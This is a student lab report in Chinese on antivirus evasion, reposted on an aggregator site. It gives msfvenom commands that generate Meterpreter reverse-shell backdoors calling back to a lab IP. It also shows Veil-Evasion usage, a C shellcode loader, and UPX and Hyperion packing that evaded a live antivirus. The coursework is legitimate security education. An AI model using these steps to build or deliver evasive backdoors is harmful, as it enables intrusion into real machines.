2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践
Posted dky20165302
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践相关的知识,希望对你有一定的参考价值。
一,实验要求
通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力
二,实验内容
1.了解恶意软件检测机制和免杀技术的基本原理
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
3.通过组合应用各种技术实现恶意代码免杀
4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
三,实验步骤
任务一 正确使用免杀工具或技巧
1.使用msfvenom生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=192.168.80.132 LPORT=5302 -f exe > msf5302.exe
- 将exe文件复制到windows中,打开电脑管家进行杀毒,msf5302.exe被识别出来
-使用virscan进行扫描
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 5302_java.jar
生成jar文件
- 将jar文件复制到windows下,使用virscan进行扫描
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 20165302.php
生成php文件
将php文件复制到windows中,使用virscan进行扫描
(6666,只能重新修改一下文件名)
wtf,不知道什么情况传不上去,行吧,就这样吧
2,使用veil-evasion生成后门程序
安装veil
git clone https://github.com/Veil-Framework/Veil
cd Veil/config/
./setup.sh
- 然后点一下,等一年,这是你没有体验过的全新版本
- 输入
veil
启用 use evasion
list
use 7
set LHOST 192.168.80.132
set LPORT 5302
generate
生成文件- 设置playload的名字
- 生成成功
然后按照文件路径找到并复制到windows中
刚一复制到windows中,电脑管家就提示拦截到木马
使用virscan进行扫描
利用shellcode编程生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 -f c
生成shellcode
- 利用shellcode编写一段代码,将shellcode复制进去
代码如下
unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
i686-w64-mingw32-g++ 20165302.c -o 20165302.exe
编译为可执行文件
- 将exe文件复制到windows里,使用virscan进行扫描
(然而我的电脑管家并没有检测出来,可能是它太low了)
- 使用压缩壳 upx 20165302.exe -o upxed.exe
- 使用virscan进行扫描,电脑管家还是没有发现。。。。。
- 使用加密壳
- 将upxed.exe拷贝到/usr/share/windows-binaries/hyperion/中
wine hyperion.exe -v upxed.exe upxed_Hyperion.exe
- 反弹连接
- 使用virscan扫描一下
任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
- 成功截图
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功
- 实验环境,win10主机,电脑管家版本为
- 实验结果
实验体会
这次实验总体来说不是很难,但步骤比较繁琐,需要一定的耐心,通过这次实验我更好的了解了免杀的原理,掌握了免杀的实现方法,在这次实验中没出什么大问题,好在只是一些小问题,都自己解决了,我个人认为本次实验的难点就是在veil的安装和使用上,可以说只要做好了这点,本次实验就没什么难点了,可能是我运气比较好,在安装veil的过程中没有出现像其他同学那样各种各样的问题,一次成功!!!好了,总结一下本次实验的收获,这次实验我学会了使用压缩壳和加密壳,学会了半自动注入shellcode的方法,了解了免杀的几种原理,学会了version和virus totals的使用,收获还是蛮多的,虽然过程很累,但是能自己独立完成实验还是很开心的 ^-^ ^-^
实验中遇到的问题
文件名为数字时非法,可以将文件名改为字母或字母和数字的组合
安装veil时报错,解决方法删了重新安装,虽然有点low,但能做出来就行23333
在查看压缩壳是否可以反弹连接时windows不能运行exe文件,解决方法是将exe文件设为被信任的文件就可以了
基础知识问答
1.杀软是如何检测出恶意代码的
- 基于特征码的检测,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据,优点:可以检测0-day恶意软件,具有一定通用性
基于行为的恶意软件检测,最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为检测相当于是启发式的一种,或者是加入了行为监控的启发式
2.免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术
3.免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
以上是关于2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践的主要内容,如果未能解决你的问题,请参考以下文章
2018-2019-1 20165302 《信息安全系统设计基础》第四周学习总结
2018-2019-2 网络对抗技术 20165324 网络对抗技术 Exp4:恶意代码分析
2018-2019-2 20175320实验五《网络编程与安全》实验报告
2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析